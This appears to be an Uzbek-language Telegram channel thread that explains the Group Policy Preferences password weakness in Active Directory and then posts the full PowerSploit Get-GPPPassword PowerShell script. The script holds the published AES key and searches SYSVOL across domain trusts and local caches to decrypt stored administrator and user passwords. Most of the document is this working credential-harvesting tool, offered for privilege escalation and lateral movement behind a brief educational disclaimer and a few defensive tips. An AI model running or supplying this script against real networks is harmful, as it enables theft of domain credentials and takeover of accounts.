AD tarmog‘ida foydalanuvchi huquqida bo‘lgan kishi privesc qilishda
Lateral movement oldidan maqsadli hisobga kirish uchun
🛡 Himoyalanish:
SYSVOL ichida Groups.xml borligini doimiy monitoring qiling.
GPP orqali parol saqlamang — bu usul deprecated hisoblanadi.
Authenticated Users huquqlarini ko‘rib chiqing.
Yetarlicha Reaksiya komment bo'lsa va faqat ta’limiy maqsadlarda qo‘llanilsa GET-GPPPasword.ps1 skriptini tahsab beraman.
Reaksiyalaringizni kutamiz.
@cisco_server
@uzbekona_cisco
💡 GPP (Group Policy Preferences) — bu Windows Server’da foydalanuvchilar, xizmatlar va ish jadvalini avtomatlashtirish uchun ishlatiladigan imkoniyat. Lekin… bu imkoniyat orqali parollarni XML faylda shifrlab saqlash mumkin.
📁 Barcha GPP fayllari SYSVOL papkasida saqlanadi:
\\DOMAIN\SYSVOL\DOMAIN\Policies\
😱 Muammo shundaki:
XML fayllarda saqlanadigan parollar AES bilan shifrlangan bo‘lsa-da,
AES kaliti ommaga oshkor bo‘lgan (Microsoft o‘zi nashr qilgan!),
Har qanday "Authenticated User" bu fayllarni erkin o‘qiy oladi.
🔍 Pentester yoki hujumchi bu faylni topadi:
Groups.xml
🔓 So‘ng Get-GPPPassword.ps1 kabi skript orqali shifrlangan parolni ochadi.
📦 Natijada: Domain foydalanuvchisi yoki admin paroli ochiladi.
🔧 Qachon ishlatiladi?
Internal pentest jarayonida
AD tarmog‘ida foydalanuvchi huquqida bo‘lgan kishi privesc qilishda
Lateral movement oldidan maqsadli hisobga kirish uchun
🛡 Himoyalanish:
SYSVOL ichida Groups.xml borligini doimiy monitoring qiling.
GPP orqali parol saqlamang — bu usul deprecated hisoblanadi.
Authenticated Users huquqlarini ko‘rib chiqing.
Yetarlicha Reaksiya komment bo'lsa va faqat ta’limiy maqsadlarda qo‘llanilsa GET-GPPPasword.ps1 skriptini tahsab beraman.
Reaksiyalaringizni kutamiz.
@cisco_server
@uzbekona_cisco
👍11❤2
Mana o'sha vada qilingan Skript
Mazkur kontent faqat ta’limiy maqsadlarda qo‘llani uchun va biz hech qanday noqonuniy ish uchun javobgarlikni o'z bo'ynimizga olmaymiz.
@cisco_server
@uzbekona_cisco biz bilan qoling
Mazkur kontent faqat ta’limiy maqsadlarda qo‘llani uchun va biz hech qanday noqonuniy ish uchun javobgarlikni o'z bo'ynimizga olmaymiz.
@cisco_server
@uzbekona_cisco biz bilan qoling
function Get-GPPPassword {
<#
.SYNOPSIS
Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.
PowerSploit Function: Get-GPPPassword
Author: Chris Campbell (@obscuresec)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Get-GPPPassword searches a domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords.
.PARAMETER Server
Specify the domain controller to search for.
Default's to the users current domain
.PARAMETER SearchForest
Map all reaschable trusts and search all reachable SYSVOLs.
.EXAMPLE
Get-GPPPassword
NewName : [BLANK]
Changed : {2014-02-21 05:28:53}
Passwords : {password12}
UserNames : {test1}
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\DataSources\DataSources.xml
NewName : {mspresenters}
Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
Passwords : {Recycling*3ftw!, password123, password1234}
UserNames : {Administrator (built-in), DummyAccount, dummy2}
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml
NewName : [BLANK]
Changed : {2014-02-21 05:29:53, 2014-02-21 05:29:52}
Passwords : {password, password1234$}
UserNames : {administrator, admin}
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\ScheduledTasks\ScheduledTasks.xml
NewName : [BLANK]
Changed : {2014-02-21 05:30:14, 2014-02-21 05:30:36}
Passwords : {password, read123}
UserNames : {DEMO\Administrator, admin}
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Services\Services.xml
.EXAMPLE
Get-GPPPassword -Server EXAMPLE.COM
NewName : [BLANK]
Changed : {2014-02-21 05:28:53}
Passwords : {password12}
UserNames : {test1}
File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB982DA}\MACHINE\Preferences\DataSources\DataSources.xml
NewName : {mspresenters}
Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
Passwords : {Recycling*3ftw!, password123, password1234}
UserNames : {Administrator (built-in), DummyAccount, dummy2}
File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB9AB12}\MACHINE\Preferences\Groups\Groups.xml
.EXAMPLE
Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq
password
password12
password123
password1234
password1234$
read123
Recycling*3ftw!
.LINK
http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1
http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')]
[CmdletBinding()]
Param (
[ValidateNotNullOrEmpty()]
[String]
$Server = $Env:USERDNSDOMAIN,
[Switch]
$SearchForest
)
# define helper function that decodes and decrypts password
function Get-DecryptedCpassword {
[CmdletBinding()]
Param (
[string] $Cpassword
)
try {
#Append appropriate padding based on string length
$Mod = ($Cpassword.length % 4)
switch ($Mod) {
'1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
'2' {$Cpassword += ('=' * (4 - $Mod))}
'3' {$Cpassword += ('=' * (4 - $Mod))}
}
$Base64Decoded = [Convert]::FromBase64String($Cpassword)
# Make sure System.Core is loaded
[System.Reflection.Assembly]::LoadWithPartialName("System.Core") |Out-Null
#Create a new AES .NET Crypto Object
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
#Set IV to all nulls to prevent dynamic generation of IV value
$AesIV = New-Object Byte[]($AesObject.IV.Length)
$AesObject.IV = $AesIV
$AesObject.Key = $AesKey
$DecryptorObject = $AesObject.CreateDecryptor()
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
}
catch { Write-Error $Error[0] }
}
# helper function to parse fields from xml files
function Get-GPPInnerField {
[CmdletBinding()]
Param (
$File
)
try {
$Filename = Split-Path $File -Leaf
[xml] $Xml = Get-Content ($File)
# check for the cpassword field
if ($Xml.innerxml -match 'cpassword') {
$Xml.GetElementsByTagName('Properties') | ForEach-Object {
if ($_.cpassword) {
$Cpassword = $_.cpassword
if ($Cpassword -and ($Cpassword -ne '')) {
$DecryptedPassword = Get-DecryptedCpassword $Cpassword
$Password = $DecryptedPassword
Write-Verbose "[Get-GPPInnerField] Decrypted password in '$File'"
}
if ($_.newName) {
$NewName = $_.newName
}
if ($_.userName) {
$UserName = $_.userName
}
elseif ($_.accountName) {
$UserName = $_.accountName
}
elseif ($_.runAs) {
$UserName = $_.runAs
}
try {
$Changed = $_.ParentNode.changed
}
catch {
Write-Verbose "[Get-GPPInnerField] Unable to retrieve ParentNode.changed for '$File'"
}
try {
$NodeName = $_.ParentNode.ParentNode.LocalName
}
catch {
Write-Verbose "[Get-GPPInnerField] Unable to retrieve ParentNode.ParentNode.LocalName for '$File'"
}
if (!($Password)) {$Password = '[BLANK]'}
if (!($UserName)) {$UserName = '[BLANK]'}
if (!($Changed)) {$Changed = '[BLANK]'}
if (!($NewName)) {$NewName = '[BLANK]'}
🔥1
$GPPPassword = New-Object PSObject
$GPPPassword | Add-Member Noteproperty 'UserName' $UserName
$GPPPassword | Add-Member Noteproperty 'NewName' $NewName
$GPPPassword | Add-Member Noteproperty 'Password' $Password
$GPPPassword | Add-Member Noteproperty 'Changed' $Changed
$GPPPassword | Add-Member Noteproperty 'File' $File
$GPPPassword | Add-Member Noteproperty 'NodeName' $NodeName
$GPPPassword | Add-Member Noteproperty 'Cpassword' $Cpassword
$GPPPassword
}
}
}
}
catch {
Write-Warning "[Get-GPPInnerField] Error parsing file '$File' : $_"
}
}
# helper function (adapted from PowerView) to enumerate the domain/forest trusts for a specified domain
function Get-DomainTrust {
[CmdletBinding()]
Param (
$Domain
)
if (Test-Connection -Count 1 -Quiet -ComputerName $Domain) {
try {
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
$DomainObject = [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
if ($DomainObject) {
$DomainObject.GetAllTrustRelationships() | Select-Object -ExpandProperty TargetName
}
}
catch {
Write-Verbose "[Get-DomainTrust] Error contacting domain '$Domain' : $_"
}
try {
$ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Domain)
$ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)
if ($ForestObject) {
$ForestObject.GetAllTrustRelationships() | Select-Object -ExpandProperty TargetName
}
}
catch {
Write-Verbose "[Get-DomainTrust] Error contacting forest '$Domain' (domain may not be a forest object) : $_"
}
}
}
# helper function (adapted from PowerView) to enumerate all reachable trusts from the current domain
function Get-DomainTrustMapping {
[CmdletBinding()]
Param ()
# keep track of domains seen so we don't hit infinite recursion
$SeenDomains = @{}
# our domain stack tracker
$Domains = New-Object System.Collections.Stack
try {
$CurrentDomain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() | Select-Object -ExpandProperty Name
$CurrentDomain
}
catch {
Write-Warning "[Get-DomainTrustMapping] Error enumerating current domain: $_"
}
if ($CurrentDomain -and $CurrentDomain -ne '') {
$Domains.Push($CurrentDomain)
while($Domains.Count -ne 0) {
$Domain = $Domains.Pop()
# if we haven't seen this domain before
if ($Domain -and ($Domain.Trim() -ne '') -and (-not $SeenDomains.ContainsKey($Domain))) {
Write-Verbose "[Get-DomainTrustMapping] Enumerating trusts for domain: '$Domain'"
# mark it as seen in our list
$Null = $SeenDomains.Add($Domain, '')
try {
# get all the domain/forest trusts for this domain
Get-DomainTrust -Domain $Domain | Sort-Object -Unique | ForEach-Object {
# only output if we haven't already seen this domain and if it's pingable
if (-not $SeenDomains.ContainsKey($_) -and (Test-Connection -Count 1 -Quiet -ComputerName $_)) {
$Null = $Domains.Push($_)
$_
}
}
}
catch {
Write-Verbose "[Get-DomainTrustMapping] Error: $_"
}
}
}
}
}
try {
$XMLFiles = @()
$Domains = @()
$AllUsers = $Env:ALLUSERSPROFILE
if (-not $AllUsers) {
$AllUsers = 'C:\ProgramData'
}
# discover any locally cached GPP .xml files
Write-Verbose '[Get-GPPPassword] Searching local host for any cached GPP files'
$XMLFiles += Get-ChildItem -Path $AllUsers -Recurse -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml' -Force -ErrorAction SilentlyContinue
if ($SearchForest) {
Write-Verbose '[Get-GPPPassword] Searching for all reachable trusts'
$Domains += Get-DomainTrustMapping
}
else {
if ($Server) {
$Domains += , $Server
}
else {
# in case we're in a SYSTEM context
$Domains += , [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() | Select-Object -ExpandProperty Name
}
}
$Domains = $Domains | Where-Object {$_} | Sort-Object -Unique
ForEach ($Domain in $Domains) {
# discover potential domain GPP files containing passwords, not complaining in case of denied access to a directory
Write-Verbose "[Get-GPPPassword] Searching \\$Domain\SYSVOL\*\Policies. This could take a while."
$DomainXMLFiles = Get-ChildItem -Force -Path "\\$Domain\SYSVOL\*\Policies" -Recurse -ErrorAction SilentlyContinue -Include @('Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml')
if($DomainXMLFiles) {
$XMLFiles += $DomainXMLFiles
}
}
if ( -not $XMLFiles ) { throw '[Get-GPPPassword] No preference files found.' }
Write-Verbose "[Get-GPPPassword] Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords."
ForEach ($File in $XMLFiles) {
$Result = (Get-GppInnerField $File.Fullname)
$Result
}
}
catch { Write-Error $Error[0] }
}
Blogspot
GPP Password Retrieval with PowerShell
Last week, I read a great post entitled " Exploiting Windows 2008 Group Policy Preferences " that I wish I saw sooner. The article included...